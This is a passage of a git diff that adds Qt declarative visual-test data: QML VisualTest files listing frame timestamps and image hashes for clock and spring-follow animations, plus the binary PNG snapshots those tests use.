"d14dd306fec80f1a1ff9a85aa51b9a57" + } + Frame { + msec: 592 + hash: "bfa2ec6fa546c75ee85e2ebeb3af8e3c" + } + Frame { + msec: 608 + hash: "d1ec3faab47065f34e9397fd73f9edce" + } + Frame { + msec: 624 + hash: "0b59b5dba365fff38872b520afc84edb" + } + Frame { + msec: 640 + hash: "3c4ae01b5e878b85a2eea403f3ad478a" + } + Frame { + msec: 656 + hash: "329111f7079230e8b3cfda1217e8fcdf" + } + Frame { + msec: 672 + hash: "97761329ac9ba03ec41e3d5b35f245df" + } + Frame { + msec: 688 + hash: "9d26e3a3357530e903ee89f7bf439357" + } + Frame { + msec: 704 + hash: "1cf4c130ea3565547ff74280211f10c9" + } + Frame { + msec: 720 + hash: "d60284711cb557b1dab4d27072c95597" + } + Frame { + msec: 736 + hash: "98195e02405ee26c0a6a3177cebe9eaa" + } + Frame { + msec: 752 + hash: "f0a776c39363e340ebfb7736f368f609" + } + Frame { + msec: 768 + hash: "5a146b4b76f93e3064d5dfa13107b1c3" + } + Frame { + msec: 784 + hash: "7f7fef3a7ff2047f598bfca0fc7d5935" + } + Frame { + msec: 800 + hash: "85a2fd48605f8a77764bf96542db14c3" + } + Frame { + msec: 816 + hash: "89bdc99d16e6605e2106dfa5f53d7c8e" + } + Frame { + msec: 832 + hash: "d03754d56d85508b7c77959d1ab7b34a" + } + Frame { + msec: 848 + hash: "8d330472a376b47d65cec0b8e3df25cb" + } + Frame { + msec: 864 + hash: "401adaeecfd2c0a5598194e9ead4dd5d" + } + Frame { + msec: 880 + hash: "5c600e940e0a01fec15505fba595df3d" + } + Frame { + msec: 896 + hash: "b7940b041fbd3df5e6969130bf97da10" + } + Frame { + msec: 912 + hash: "62314bb115c307eeff4c4c7c91ee74a2" + } + Frame { + msec: 928 + hash: "54745a8a7ed96a4d5e2d4ec2de605882" + } + Frame { + msec: 944 + hash: "a4145b63f59d060ac0e0dc32dd22c815" + } + Frame { + msec: 960 + image: "clock.0.png" + } + Frame { + msec: 976 + hash: "c420b1298329c7eb0d3ec6a90a7eb802" + } + Frame { + msec: 992 + hash: "e63a5384cde6287c3cd8bdb823f35dca" + } + Frame { + msec: 1008 + hash: "af708b5e4a2a706385afd43896eeff16" + } + Frame { + msec: 1024 + hash: "32011e16d4b1c14619820ade020f6416" + } + Frame { + msec: 1040 + hash: "fbf9f8f075b15922f7306e469075d3cf" + } + Frame { + msec: 1056 + hash: "bf0fab116eae6e7fb5b3209220a3a52a" + } + Frame { + msec: 1072 + hash: "7a21aee4bcb99feb12a2a2c6bb3fd893" + } + Frame { + msec: 1088 + hash: "d721462af9c94e13f12374b2590dad1e" + } + Frame { + msec: 1104 + hash: "70385b585c2cbf1b2d64f1b9ebb5fb56" + } + Frame { + msec: 1120 + hash: "fc7adc3dd2f42bfe6cd74c2ee1ea9aa8" + } + Frame { + msec: 1136 + hash: "232884da74c9843d1349e82a7300cc19" + } + Frame { + msec: 1152 + hash: "c6790d9c8cbea7bf97cbedf443da330c" + } + Frame { + msec: 1168 + hash: "1847875f98555ef46a103c107bd5bc37" + } + Frame { + msec: 1184 + hash: "d7b35992b44a0220bd83a00b7f75dcdd" + } + Frame { + msec: 1200 + hash: "fc9e1db602c34863088d82ed8f601364" + } + Frame { + msec: 1216 + hash: "404e2d071f8a6409ba6c6bfd8450693c" + } + Frame { + msec: 1232 + hash: "dc2b6be9bc4c32460797e94ec617406c" + } + Frame { + msec: 1248 + hash: "5077b6afd808f7a2c319e66f0aef3002" + } + Frame { + msec: 1264 + hash: "07f07a04ec7c864196faeb44eff65b4c" + } + Frame { + msec: 1280 + hash: "5d9089a68ef0b8b78b68c33d3082b597" + } + Frame { + msec: 1296 + hash: "d955c9f66eaf123351a19947240e8847" + } + Frame { + msec: 1312 + hash: "f1821cbcb3883a041f22a114f7158532" + } + Frame { + msec: 1328 + hash: "77f17db09c5a7125c42359c304f274de" + } + Frame { + msec: 1344 + hash: "bc38a4c859f596f6cf3c399d3a04b1cd" + } + Frame { + msec: 1360 + hash: "982c43a4a1c9fae8bf3980b5885cee2f" + } + Frame { + msec: 1376 + hash: "c15bb9b7dd77d505ee9918eb36b75c31" + } + Frame { + msec: 1392 + hash: "bda534fd941a6f8289bfbec9b8dde717" + } + Frame { + msec: 1408 + hash: "7ad5c54b481525ace42ae8926a5c0556" + } + Frame { + msec: 1424 + hash: "2399778158f63481eb8514245277b917" + } + Frame { + msec: 1440 + hash: "6c200d090b34a0152c7eb233c97c3886" + } + Frame { + msec: 1456 + hash: "7ba4500e81df31e3e2c5d165bacf771a" + } + Frame { + msec: 1472 + hash: "c7e13f3d9bdfe35eb905c1d4ed6b73ac" + } + Frame { + msec: 1488 + hash: "808b72766f5dce71fc983ffa01945665" + } + Frame { + msec: 1504 + hash: "899ac513755476db1e1304317524a755" + } + Frame { + msec: 1520 + hash: "27190dce033171966981672e52f07107" + } + Frame { + msec: 1536 + hash: "5d9ef583b6b3cb5257cb044cf376eff2" + } + Frame { + msec: 1552 + hash: "77b648fe26a942b246eec0fa018ad86f" + } + Frame { + msec: 1568 + hash: "744a61493816338113ba4ba7c05f76de" + } + Frame { + msec: 1584 + hash: "2eb0da64d5937c1a38754fd55ca684d0" + } + Frame { + msec: 1600 + hash: "6f799c2c0c0e1ed419af03f8bbb9fae1" + } + Frame { + msec: 1616 + hash: "5b84344f31d5e4d15be6b53ad3bf9c84" + } + Frame { + msec: 1632 + hash: "997b5967e3e3a35d02f10e1eae417dbf" + } + Frame { + msec: 1648 + hash: "c522369c836e8d08c56e2e332dd005ac" + } + Frame { + msec: 1664 + hash: "22f4072da05d261cfcca232ea54d2cb4" + } + Frame { + msec: 1680 + hash: "7081a90c33785306800b7a57a4a9a75c" + } + Frame { + msec: 1696 + hash: "32a8bea14c92ce61ede89182765f0759" + } + Frame { + msec: 1712 + hash: "4bafe476d5301974c616311073763ab4" + } + Frame { + msec: 1728 + hash: "291188ca795d455ae293437c2fb2303d" + } + Frame { + msec: 1744 + hash: "99d2658f863c82dd71fde0f0b93b4d62" + } + Frame { + msec: 1760 + hash: "8a7183e11fde2846d5435847ad9add45" + } + Frame { + msec: 1776 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1792 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1808 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1824 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1840 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1856 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1872 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1888 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1904 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1920 + image: "clock.1.png" + } + Frame { + msec: 1936 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1952 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1968 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 1984 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 2000 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 2016 + hash: "34b6180b74f0653ce1f18c22022d333f" + } + Frame { + msec: 2032 + hash: "150f511972394d8485979a6d9badcee5" + } + Frame { + msec: 2048 + hash: "50b420f72479ec613fd443b5faa3cb94" + } + Frame { + msec: 2064 + hash: "a51cbeea7ad5407b2784a3a3c8ca1ecf" + } + Frame { + msec: 2080 + hash: "0f658f4c91f890cd252d0f9d9bbe064d" + } + Frame { + msec: 2096 + hash: "c814c99815a91547eff01dc899c275f2" + } + Frame { + msec: 2112 + hash: "f9dac59029008e52efe4225cf919f013" + } + Frame { + msec: 2128 + hash: "b87bdcf09b425f2b2d6aed65f96ae8a3" + } + Frame { + msec: 2144 + hash: "f353bf64e664166a542aa027dc625529" + } + Frame { + msec: 2160 + hash: "12492b26c2f1c018e034c0fa936fa7b5" + } + Frame { + msec: 2176 + hash: "33f04d25bced580f15590f12ddafef62" + } + Frame { + msec: 2192 + hash: "cdd8ee656e4fec3ac6e72b6f7626de3b" + } + Frame { + msec: 2208 + hash: "22a94ea46fb9ee78830eab79e4adc5c5" + } + Frame { + msec: 2224 + hash: "64a10c9d4738c004c7f08f95b48a7a4d" + } + Frame { + msec: 2240 + hash: "ff3300fb49a735e0a958362aead1905f" + } + Frame { + msec: 2256 + hash: "8289dfdad12a8c13513175e5aad6a2d9" + } + Frame { + msec: 2272 + hash: "49e5cbb94f7d8bc853ca3c9366d737c9" + } + Frame { + msec: 2288 + hash: "76d2d8df4ad0359bb8ae102b225b3a68" + } + Frame { + msec: 2304 + hash: "98d925b3306aa7dd1b1fb9e066cd8a02" + } + Frame { + msec: 2320 + hash: "3911b53eb0346af1773ad991232e61ee" + } + Frame { + msec: 2336 + hash: "8991c10234f9f286ebab39d72729525d" + } + Frame { + msec: 2352 + hash: "ca2c8c6f23b30957a5cc20d9750a3ffe" + } + Frame { + msec: 2368 + hash: "80abe9b146b31dbedf1fe2357d922dda" + } + Frame { + msec: 2384 + hash: "0e34091d6bceab00bdabcec78e99e265" + } + Frame { + msec: 2400 + hash: "ba04053c25e53b3dc790feac9a33e221" + } + Frame { + msec: 2416 + hash: "cb6f7f2cce4f68ef1d35f765e00bbf7b" + } + Frame { + msec: 2432 + hash: "1e63fb94f5fbf3b600ec9298cbb97c8a" + } + Frame { + msec: 2448 + hash: "8991c10234f9f286ebab39d72729525d" + } + Frame { + msec: 2464 + hash: "00531d4a5fe98bbb487ad835414e7d07" + } + Frame { + msec: 2480 + hash: "7af9f861cb57c937c87b24eee9fbb558" + } + Frame { + msec: 2496 + hash: "7ecd1a4a75753e70ad5937e5bc897e03" + } + Frame { + msec: 2512 + hash: "557766fe964033f6a488574af7306cac" + } + Frame { + msec: 2528 + hash: "bd0f7164dd0a84ce1a1b2a6acbc2157b" + } + Frame { + msec: 2544 + hash: "d24ef664cf13519b99d6193bf98fcfd1" + } + Frame { + msec: 2560 + hash: "6c3626248bbb41cab85ec2a908b7874b" + } + Frame { + msec: 2576 + hash: "0f9bea8d474690164a09dfd3b13ff80b" + } + Frame { + msec: 2592 + hash: "e5197674c91de893a970614e650547e5" + } + Frame { + msec: 2608 + hash: "ce6861e9a7e75b809df026f078c8516b" + } + Frame { + msec: 2624 + hash: "eb0539e30fd53fb905d7b28ff0bc6cfd" + } + Frame { + msec: 2640 + hash: "45f70dda0d647119175457fb4d451e85" + } + Frame { + msec: 2656 + hash: "ca6b75fa4ee612bf6bb1776ef4115b16" + } + Frame { + msec: 2672 + hash: "c7d6bd687be6d5476300539411b97fc5" + } + Frame { + msec: 2688 + hash: "27da9137b936d813d3c79a873053ed38" + } + Frame { + msec: 2704 + hash: "4389a5758bf9df9553300c074aa7bb36" + } + Frame { + msec: 2720 + hash: "30476b70a29716b359a046f99b6387e5" + } + Frame { + msec: 2736 + hash: "b91c6f1e57d718e95ab05d1f386aedb9" + } + Frame { + msec: 2752 + hash: "578b022173dcac39d227ffeb043e53d0" + } + Frame { + msec: 2768 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2784 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2800 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2816 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2832 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2848 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2864 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2880 + image: "clock.2.png" + } + Frame { + msec: 2896 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2912 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2928 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2944 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2960 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2976 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 2992 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 3008 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 3024 + hash: "fe8ffe202a5f58b184a65d0ebc9c5f32" + } + Frame { + msec: 3040 + hash: "294d542f880356b4cbb171170c28dcd7" + } + Frame { + msec: 3056 + hash: "946b5937974e28ffd996ce132c8fad15" + } + Frame { + msec: 3072 + hash: "bb61994ff1dc36d3933084b874073832" + } + Frame { + msec: 3088 + hash: "ec337c7ae77deeb41f38adb1851720e5" + } + Frame { + msec: 3104 + hash: "7691c6c048b78e1551b46a37b6e95b16" + } + Frame { + msec: 3120 + hash: "b3116620d319ae4b681f4ca76c068b32" + } + Frame { + msec: 3136 + hash: "ed5a27e5be3dbde3867715f877da41db" + } + Frame { + msec: 3152 + hash: "8dcc220cc652f57aa8ac33364edc96a3" + } + Frame { + msec: 3168 + hash: "a7832d86283e27ee1523c4808b42fc43" + } + Frame { + msec: 3184 + hash: "fc90d18b072638f2df1bacee12fe1743" + } + Frame { + msec: 3200 + hash: "cdd7b5598155eba57783ebe1872db818" + } + Frame { + msec: 3216 + hash: "b45e32d12bbc2e56f4a3e7e473528d3e" + } + Frame { + msec: 3232 + hash: "5762a693ea6287e8987c604ef9fac361" + } + Frame { + msec: 3248 + hash: "2e46a8df5ec0c7070a374186a313f2c6" + } + Frame { + msec: 3264 + hash: "e612134417f3f901661b658801a72848" + } + Frame { + msec: 3280 + hash: "5de468fac915894ef34f3fee1c637e01" + } + Frame { + msec: 3296 + hash: "e29c8713573e49fc98387311d80c7510" + } + Frame { + msec: 3312 + hash: "6fce67b704f613e6fd9181ccb9ee237f" + } + Frame { + msec: 3328 + hash: "bf499add3d91d751ffa1cce28bece380" + } + Frame { + msec: 3344 + hash: "7d50cad7b18a4a37be6aac7796014195" + } + Frame { + msec: 3360 + hash: "6695208c8d39373ff0846c821c819cb2" + } + Frame { + msec: 3376 + hash: "0140ec2286b0fb94340d2dd6d418f539" + } + Frame { + msec: 3392 + hash: "9f92a99737aa6a7da48af7e7a4ed7a6a" + } + Frame { + msec: 3408 + hash: "8e593e8192d17d07c2265d6fa840f281" + } + Frame { + msec: 3424 + hash: "ea70e72eb12d5595d9bf0d9cc77efd4d" + } + Frame { + msec: 3440 + hash: "faeeb9e6e6a260a266ac8965f204b542" + } + Frame { + msec: 3456 + hash: "d50987082d056997a8e7fe5940cb7968" + } + Frame { + msec: 3472 + hash: "44089138e01bfee916306ae66ba43e9f" + } + Frame { + msec: 3488 + hash: "60256356ca6fe8bd323ef36bc149a3ea" + } + Frame { + msec: 3504 + hash: "6caae71d6bd897d755aeb22f10862171" + } + Frame { + msec: 3520 + hash: "8ba18bf5df010718f83d6bb25aa1858b" + } + Frame { + msec: 3536 + hash: "a903996370fb7efcaf295f00b9b4c4b6" + } + Frame { + msec: 3552 + hash: "cc0b736c8b4d46d3d809dcfe82068c88" + } + Frame { + msec: 3568 + hash: "037b2f65d162d44c39706d322cd6b6e5" + } + Frame { + msec: 3584 + hash: "92c2b4f346329ffbcae07db74332ebbe" + } + Frame { + msec: 3600 + hash: "3f9b2b5aade31333568a7cccf89e3176" + } + Frame { + msec: 3616 + hash: "b40f9cce4cddf9fa5245276a105a3e0d" + } + Frame { + msec: 3632 + hash: "74eb3e8a282693bd6bc92f381e380d61" + } + Frame { + msec: 3648 + hash: "43d85dd9e0de49c639db0d91047c88bb" + } + Frame { + msec: 3664 + hash: "563a07f4aa618252933e0356cc300bba" + } + Frame { + msec: 3680 + hash: "73d1e5745154996fd245a91a831d5462" + } + Frame { + msec: 3696 + hash: "7b2785b605c64135ea6914ad8388eb8f" + } + Frame { + msec: 3712 + hash: "b2d989af972715a86ca374753d32f757" + } + Frame { + msec: 3728 + hash: "96311aac52bc9167a7350af29741f3dc" + } + Frame { + msec: 3744 + hash: "56e4b98816896f7353dddeac090f70d1" + } + Frame { + msec: 3760 + hash: "7bd8ac36107e9e5db39e1aa37f2c5ca8" + } + Frame { + msec: 3776 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3792 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3808 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3824 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3840 + image: "clock.3.png" + } + Frame { + msec: 3856 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3872 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3888 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3904 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3920 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3936 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3952 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3968 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 3984 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 4000 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 4016 + hash: "b9545df89c8bec940678b65d5ef9ce04" + } + Frame { + msec: 4032 + hash: "df3a1204f6243673d567724d27d07a9e" + } + Frame { + msec: 4048 + hash: "7d0d3e92cb61d868d062bdf173924a4d" + } + Frame { + msec: 4064 + hash: "29948b5d7807a6ed0076a9637ec3eb79" + } + Frame { + msec: 4080 + hash: "2986b5e0a4a49bbe9f4ffada30433a48" + } + Frame { + msec: 4096 + hash: "0d9e3813141a1ee15474380902d87815" + } + Frame { + msec: 4112 + hash: "c5197a932430d498b7344c1f37454320" + } + Frame { + msec: 4128 + hash: "c8ef8acf314486c157e74bdd2695ddb2" + } + Frame { + msec: 4144 + hash: "adeb73de4b967912a9f2b04ba2b6fe4c" + } + Frame { + msec: 4160 + hash: "da5fddd1e4ab8c096af0acc62114d69f" + } + Frame { + msec: 4176 + hash: "5ef0784315603da196e66b4628524c5c" + } + Frame { + msec: 4192 + hash: "1ff2a89c510953d71198056f5ac5b1a6" + } + Frame { + msec: 4208 + hash: "f63d409e134e59b875099ab11b469d21" + } + Frame { + msec: 4224 + hash: "e353748e0b0c49a217d6e2d06a9bfeb6" + } + Frame { + msec: 4240 + hash: "a9d7470902a232d815bd2580e24fdc22" + } + Frame { + msec: 4256 + hash: "eecbad718aa4eaf5bef7cd921b2ce9f9" + } + Frame { + msec: 4272 + hash: "7a51cadbfb93eb4a66acc9cb150002ed" + } + Frame { + msec: 4288 + hash: "2aa511fb96a51a50e3a45b784e349c15" + } + Frame { + msec: 4304 + hash: "a1ad19593dc6b9f4c027f388e802dcbe" + } + Frame { + msec: 4320 + hash: "ef6787f03bc1e33ea5f2a54aa1ba3a41" + } + Frame { + msec: 4336 + hash: "3386337bbc1ab82374d9965b7b0ffdef" + } + Frame { + msec: 4352 + hash: "c76afb4f412b4d5dd8eca74db6c54fb8" + } + Frame { + msec: 4368 + hash: "f91ac74ec153152670d43f42b1e2a2db" + } + Frame { + msec: 4384 + hash: "58f22723fa0c67379972238e0e7ed5e2" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4400 + hash: "a4730b0a8d6e0dd9e7eb58b51fb631ec" + } + Frame { + msec: 4416 + hash: "193bf624efefcad70af29f41eeab128e" + } + Frame { + msec: 4432 + hash: "d692f262facf26c2be2b0f747903d476" + } + Frame { + msec: 4448 + hash: "e59e43b5d4abebea0a55b1d072d148bc" + } + Frame { + msec: 4464 + hash: "134ff829e91161146b5f048a50c7eef7" + } + Frame { + msec: 4480 + hash: "07a80e45e70cb13f45e3858404c5f8dd" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.0.png new file mode 100644 index 0000000..3f42e75 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.1.png new file mode 100644 index 0000000..d661df6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.10.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.10.png new file mode 100644 index 0000000..e8c96e1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.10.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.2.png new file mode 100644 index 0000000..35bfa43 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.3.png new file mode 100644 index 0000000..74141cf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.4.png new file mode 100644 index 0000000..9544054 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.5.png new file mode 100644 index 0000000..4b02c79 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.6.png new file mode 100644 index 0000000..8ea8345 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.7.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.7.png new file mode 100644 index 0000000..76a73e8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.8.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.8.png new file mode 100644 index 0000000..8824940 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.9.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.9.png new file mode 100644 index 0000000..f954cc5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.9.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.qml new file mode 100644 index 0000000..fec5428 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/follow.qml @@ -0,0 +1,1763 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "3561ebf22b19c7bd5a70947d36b50b63" + } + Frame { + msec: 32 + hash: "3561ebf22b19c7bd5a70947d36b50b63" + } + Frame { + msec: 48 + hash: "bd0006fc34f58ec1ea6aa4c4acbb0070" + } + Frame { + msec: 64 + hash: "c25f9fb6aea93413bfef5eb176c02476" + } + Frame { + msec: 80 + hash: "4ce0eb12fb41960e60e208dffb09ed3a" + } + Frame { + msec: 96 + hash: "75b3375881969710b6eb21f2a93c36cc" + } + Frame { + msec: 112 + hash: "91e9b13e332959e41a29c0b225675a05" + } + Frame { + msec: 128 + hash: "8e04a31a953b42903dffe86b37b3f59f" + } + Frame { + msec: 144 + hash: "837e0e646a2853d3fde571f9dd966fc7" + } + Frame { + msec: 160 + hash: "7367e25ae1e3a3731d83da76d5795f8c" + } + Frame { + msec: 176 + hash: "3621846fb85b286a886a02de442e76c4" + } + Frame { + msec: 192 + hash: "ed20a4c3476b8bb5545d5343747c39c8" + } + Frame { + msec: 208 + hash: "1fc73efb410e9beb3f791cbff8e814b3" + } + Frame { + msec: 224 + hash: "199c99a4e3aa14fbc8c8a0d8baacf998" + } + Frame { + msec: 240 + hash: "513ce5a2f57e40002a26b7722c8a10db" + } + Frame { + msec: 256 + hash: "b80b51cd4e75bdc799bbe79e66b7d02b" + } + Frame { + msec: 272 + hash: "e1531b6c5b3ac872563fdfaf49d32a27" + } + Frame { + msec: 288 + hash: "6d7cfd78ebd56ae6adfc97aad5d11b13" + } + Frame { + msec: 304 + hash: "4252ebb2fba165e39f025f631e0a676a" + } + Frame { + msec: 320 + hash: "04d6ae51415b083bbb0eabd1b0304ca4" + } + Frame { + msec: 336 + hash: "750df1f1626c8b84dd72a35bf081fe00" + } + Frame { + msec: 352 + hash: "003d7a846e09ba23ee8a7ae6d473be9f" + } + Frame { + msec: 368 + hash: "5cf3abdbb9a5b8cba6a8afe8abb60ced" + } + Frame { + msec: 384 + hash: "0669f86043a0c84d0b4672cc5c1136b4" + } + Frame { + msec: 400 + hash: "94f59435fe4f3ca06699c996b537ae8c" + } + Frame { + msec: 416 + hash: "211c8ec42a6d6949253af71c6eeffa53" + } + Frame { + msec: 432 + hash: "6de6c6d1b4a37a864b96c0293be8ebf5" + } + Frame { + msec: 448 + hash: "468d67d069eaac1968a6ad52e56f3ab5" + } + Frame { + msec: 464 + hash: "18d8de7a5c73d8c8188e6ae00a701820" + } + Frame { + msec: 480 + hash: "4387c724ed49bfbbca238bf57a704a14" + } + Frame { + msec: 496 + hash: "f317c59f65c7266765333048d8545748" + } + Frame { + msec: 512 + hash: "6575d40c2f27f110443a2ede8a873c77" + } + Frame { + msec: 528 + hash: "3e65cb675124dbd9db5116fa7584e223" + } + Frame { + msec: 544 + hash: "df80612a74b33eca81db6f43aa33e411" + } + Frame { + msec: 560 + hash: "6b2bc20397f3fb452ea14d81e9efd61d" + } + Frame { + msec: 576 + hash: "e5b8a2476487f6cd9fd37e3b3f54f88d" + } + Frame { + msec: 592 + hash: "e93f8156e2dc278a5e20d9e28b48d9fa" + } + Frame { + msec: 608 + hash: "e524d5117888b0b68781ffaf1a3e7303" + } + Frame { + msec: 624 + hash: "f3b777409534d87c59e60499fd6a3808" + } + Frame { + msec: 640 + hash: "09d1fa8f1306eb6f51db97d04c2d7ad3" + } + Frame { + msec: 656 + hash: "acebdcebe6880c8b3b94ad7606181b72" + } + Frame { + msec: 672 + hash: "347945a94002cd44d7a2df47f82940a1" + } + Frame { + msec: 688 + hash: "c716014d63ff2a22cab04dadc18b10c1" + } + Frame { + msec: 704 + hash: "ced019e3f8b5ca079582d01f1f585a8e" + } + Frame { + msec: 720 + hash: "d61d31de835ea8d1ffa56fd04c873ac1" + } + Frame { + msec: 736 + hash: "2eec542c5af4c6eecc153cc0fcae7dd3" + } + Frame { + msec: 752 + hash: "c13b9443e1c000a2877e4586428da308" + } + Frame { + msec: 768 + hash: "c5c2e30b3dc3298afc201f6045e79e59" + } + Frame { + msec: 784 + hash: "308f2ca66133d37c2fcb222e68698d25" + } + Frame { + msec: 800 + hash: "bf820215986a35b56daf07c164fd2a79" + } + Frame { + msec: 816 + hash: "a0bb21475100fb25b767d055d70b062f" + } + Frame { + msec: 832 + hash: "bfb0927bcb23689820b0f96ea56426fc" + } + Frame { + msec: 848 + hash: "8f294742ca9dd6ab10689f1f4ec2ed96" + } + Frame { + msec: 864 + hash: "f60c232307570fb4ec6e74f18e243553" + } + Frame { + msec: 880 + hash: "7411970ab72d8b2dbf48ee8d4e6503b3" + } + Frame { + msec: 896 + hash: "d4d766038daeae2fbec290204ca3983b" + } + Frame { + msec: 912 + hash: "f85525c3fd784ee7f9a3d9465e37d6f3" + } + Frame { + msec: 928 + hash: "c5e63da86ddbd2a54c7cd3d03e5428a2" + } + Frame { + msec: 944 + hash: "369a7405b1717ddf06c99ab1dd6d4cb0" + } + Frame { + msec: 960 + image: "follow.0.png" + } + Frame { + msec: 976 + hash: "18d5c4378f9daf63bf4cb76d76374548" + } + Frame { + msec: 992 + hash: "f36e649db2e1ec9fbe15e7711ea13ab5" + } + Frame { + msec: 1008 + hash: "f68515607dca1bda14b6afa6e05ebb6b" + } + Frame { + msec: 1024 + hash: "bc5cc4c9050a5bd4c64debd12643fd73" + } + Frame { + msec: 1040 + hash: "f053a18bca4d8c47a0f181fad8118e9a" + } + Frame { + msec: 1056 + hash: "9a2218f51faed4fa891c507fe6828d2c" + } + Frame { + msec: 1072 + hash: "ce671ff4dd1f343243f2fcc263d137f4" + } + Frame { + msec: 1088 + hash: "8624f8d814094ad25a1482a11f424990" + } + Frame { + msec: 1104 + hash: 